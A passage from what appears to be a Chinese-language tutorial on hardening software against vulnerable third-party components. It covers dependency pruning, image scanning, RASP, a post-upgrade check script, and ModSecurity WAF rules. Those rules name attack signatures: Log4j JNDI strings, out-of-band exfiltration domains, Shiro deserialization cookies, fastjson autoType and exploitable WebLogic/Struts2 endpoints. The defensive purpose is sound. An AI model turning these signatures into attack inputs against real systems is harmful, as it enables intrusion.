</execution>
</executions>
</plugin>策略三:定期移除无用依赖
# Node: 找出未使用的依赖
npx depcheck
npx npm-check-unused
# Python: 找出未使用的包
pip install pip-extra-reqs
pip-extra-reqs --requirements requirements.txt .
# Java: 分析未使用的依赖
mvn dependency:analyze
# 关注 "Unused declared dependencies" 部分
# 原则:每一个依赖都是一份攻击面,不用就删
# 一个典型的 Node 项目,node_modules 里 80% 的包是传递依赖,
# 而其中相当一部分根本没被任何代码路径使用容器与运行时防护
容器镜像扫描:
# 构建时扫描镜像
trivy image --severity HIGH,CRITICAL --exit-code 1 myapp:latest
# 使用精简基础镜像,减少组件数量
# ❌ FROM ubuntu:latest (几百个包,几万个 CVE 面)
# ✅ FROM alpine:3.19 (几十个包)
# ✅ FROM gcr.io/distroless/java17-debian12 (只有 JRE,无 shell)
# 多阶段构建,最终镜像只含运行时
# Dockerfile
FROM maven:3.9-eclipse-temurin-17 AS builder
WORKDIR /build
COPY pom.xml .
COPY src ./src
RUN mvn package -DskipTests
FROM gcr.io/distroless/java17-debian12
COPY --from=builder /build/target/app.jar /app.jar
ENTRYPOINT ["java", "-jar", "/app.jar"]
# 最终镜像不含 Maven、不含 JDK、不含 shell —— 攻击面极小运行时防护(RASP):
# RASP(运行时应用自我保护)可以在不升级组件的情况下阻断利用
# 原理:在 JVM/运行时层面插桩,检测并阻断恶意行为
# 开源方案:
# - OpenRASP(百度开源,支持 Java/PHP)
# - 商业方案:阿里云/腾讯云 RASP、Guardsquare、Contrast Security
# 以 OpenRASP 为例,安装 Java Agent
java -javaagent:/opt/rasp/rasp.jar -jar app.jar
# RASP 能拦住什么:
# - Log4j JNDI 注入(拦截 lookup 调用)
# - fastjson/Shiro 反序列化(拦截危险 gadget 链)
# - SQL 注入、命令注入(在运行时层面检测)📌 RASP 的定位:它是临时缓解手段,不是修复。Log4j 事件时,很多无法立即升级的系统靠 RASP 撑过了最危险的窗口期。但它有性能开销(通常 3-10%),且可能误判。最终还是要升级组件。
WAF 虚拟补丁:撑过升级前的窗口期
无法立即升级时,用 WAF 规则先拦住攻击流量:
# ===== Log4j2 虚拟补丁(ModSecurity)=====
SecRule ARGS|ARGS_NAMES|REQUEST_HEADERS|REQUEST_BODY \
"@rx (?i)(\$|%24)({|%7b)[^}]{0,30}(j|%6a)(n|%6e)(d|%64)(i|%69)(:|%3a)" \
"id:9006001,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Log4j JNDI Injection Attempt (CVE-2021-44228)',\
tag:'OWASP-A06',\
tag:'CVE-2021-44228',\
severity:'CRITICAL'"
# 检测 DNSLog 域名特征(攻击者常用)
SecRule ARGS|REQUEST_HEADERS "@rx (?i)(dnslog|ceye|interactsh|requestbin|oastify|burpcollaborator)\.(cn|io|com|net)" \
"id:9006002,\
phase:2,\
deny,\
status:403,\
log,\
msg:'OOB Testing Domain Detected',\
tag:'OWASP-A06'"
# ===== Shiro 反序列化虚拟补丁 =====
# 检测 rememberMe 中出现 Java 序列化魔数(0xaced 即 rO0 开头)
SecRule REQUEST_COOKIES:rememberMe "@rx ^(rO0|aced)" \
"id:9006003,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Java Serialized Object in Shiro rememberMe Cookie',\
tag:'OWASP-A06',\
tag:'CVE-2016-4437'"
# ===== fastjson @type 检测 =====
SecRule REQUEST_BODY "@rx \"@type\"\s*:" \
"id:9006004,\
phase:2,\
deny,\
status:403,\
log,\
msg:'Fastjson autoType Detected',\
tag:'OWASP-A06'"
# ===== 常见 EXP 路径(Weblogic/Struts2 等)=====
SecRule REQUEST_URI "@rx (?i)(_async/AsyncResponseService|wls-wsat|uddiexplorer|\.action|\.do\?)" \
"id:9006005,\
phase:1,\
log,\
msg:'Known Vulnerable Component Endpoint Accessed',\
tag:'OWASP-A06'"回归验证(升级后的兼容性)
#!/usr/bin/env bash
# 组件漏洞修复回归验证
# 用法: bash verify_components.sh /path/to/project
PROJECT="${1:-.}"
PASS=0; FAIL=0
echo "=========== 1. 依赖树重新生成 ==========="
if [ -f "$PROJECT/pom.xml" ]; then
mvn -f "$PROJECT/pom.xml" dependency:tree > /tmp/deps_after.txt 2>/dev/null
elif [ -f "$PROJECT/package.json" ]; then
(cd "$PROJECT" && npm list --all > /tmp/deps_after.txt 2>/dev/null)
elif [ -f "$PROJECT/requirements.txt" ]; then
(cd "$PROJECT" && pipdeptree > /tmp/deps_after.txt 2>/dev/null)
fi
echo "依赖数: $(wc -l < /tmp/deps_after.txt)"
echo
echo "=========== 2. 确认目标组件已升级 ==========="
check_version() {
# check_version <组件名> <最低安全版本> <说明>
local comp="$1" minver="$2" desc="$3"
local found
found=$(grep -i "$comp" /tmp/deps_after.txt | head -3)
if [ -z "$found" ]; then
echo "[PASS] $desc: 未发现 $comp(已移除或不再依赖)"; PASS=$((PASS+1))
else
echo "[INFO] $desc: 发现依赖"
echo "$found" | sed 's/^/ /'
echo " 请人工确认版本 >= $minver"
fi
}
check_version "log4j-core" "2.17.1" "Log4j2"
check_version "fastjson" "1.2.83" "fastjson"
check_version "shiro-core" "1.13.0" "Shiro"
check_version "commons-collections" "3.2.2" "Commons Collections"
echo
echo "=========== 3. SCA 重新扫描 ==========="
if command -v trivy &> /dev/null; then
trivy fs --severity CRITICAL,HIGH --exit-code 0 "$PROJECT" 2>/dev/null | tail -30
# 统计
crit=$(trivy fs --severity CRITICAL --format json "$PROJECT" 2>/dev/null \
| jq '[.Results[].Vulnerabilities // [] | .[]] | length' 2>/dev/null || echo 0)
if [ "$crit" = "0" ]; then
echo "[PASS] 无 CRITICAL 级别组件漏洞"; PASS=$((PASS+1))
else
echo "[FAIL] 仍有 $crit 个 CRITICAL 漏洞"; FAIL=$((FAIL+1))
fi
else
echo "[SKIP] trivy 未安装"
fi
echo
echo "=========== 4. Nuclei CVE 扫描(需目标地址)==========="
if [ -n "${TARGET_URL:-}" ]; then
nuclei -u "$TARGET_URL" -tags cve -severity critical,high \
-rate-limit 20 -o /tmp/nuclei_after.txt 2>/dev/null
if [ -s /tmp/nuclei_after.txt ]; then
echo "[FAIL] Nuclei 仍检出问题:"; cat /tmp/nuclei_after.txt; FAIL=$((FAIL+1))
else
echo "[PASS] Nuclei 未检出 CVE"; PASS=$((PASS+1))
fi
else
echo "[SKIP] 未设置 TARGET_URL 环境变量"
fi
echo
echo "=========== 5. 功能回归(关键!)==========="
echo "组件升级可能破坏兼容性,必须跑完整测试套件:"
echo " mvn test / npm test / pytest"
echo "并重点验证使用了升级组件的模块"
echo
echo "----------------------------------------"
echo "通过: $PASS 失败: $FAIL"
[ "$FAIL" -eq 0 ] && echo "✅ 全部通过" || echo "❌ 存在未修复项"回归验证的关键点(组件升级最容易出问题的地方):
1. 功能兼容性 —— 大版本升级可能有 breaking change
- Log4j 1.x → 2.x:API 完全不兼容,配置文件格式也变了
- Jackson 升级:序列化默认行为可能变化,导致接口返回结构改变
2. 性能影响 —— 某些升级会显著影响性能
- Log4j 2.17 之后关闭了 lookup,如果有业务依赖 lookup 会失效
3. 行为变化 —— 安全修复往往改变默认行为
- fastjson 开启 safeMode 后,依赖 autoType 的旧代码会报错
- Shiro 更换密钥后,所有已登录用户的 rememberMe 失效(需要用户重新登录)
4. 灰度策略 —— 组件升级建议灰度
- 先升级非核心服务,观察 1-2 天
- 核心服务选择低峰期升级,准备好回滚方案最后:删掉不用的依赖,比升级更彻底
A06 的本质是资产管理问题,不是技术问题。
你的代码可以写得完美无缺,但你引用的 200 个依赖里只要有一个有洞,攻击者就有路可走。而且——攻击者扫描组件漏洞的成本,比修复它的成本低几个数量级。
四个必须建立的机制:
- SBOM —— 知道自己用了什么。这是所有后续工作的前提,没有 SBOM,应急时就是盲人摸象。
- CI 卡点 —— 新增依赖自动扫,高危漏洞进不来。
- 定期扫描 —— 每周定时全量扫(捕获新披露的 CVE),而不是等漏洞爆出来才查。
- 升级机制 —— Dependabot/Renovate 自动提 PR,有测试保障就能快速合。
几个实战经验:
- Log4j 的教训:排查时一定要扫依赖树和内嵌 jar,不能只搜文件名。
- SCA 误报很多:用"可达性分析"过滤 —— 有洞的函数你真的调用了吗?
- 升级前先灰度:组件升级的兼容性风险往往比漏洞本身更让人头疼。
- 临时方案:RASP + WAF 虚拟补丁可以撑过窗口期,但最终还是要升级。
- 供应链投毒是新兴威胁:装包前核对名字、作者、下载量、发布时间。
最后一句:你依赖的每一个包,都是你攻击面的一部分。删掉不用的,比升级更彻底。
⚠️ 声明:本文所有示例、脚本与命令仅用于授权的安全测试、教学研究与自有系统加固。请勿对任何未授权系统进行测试,违反者需自行承担法律责任。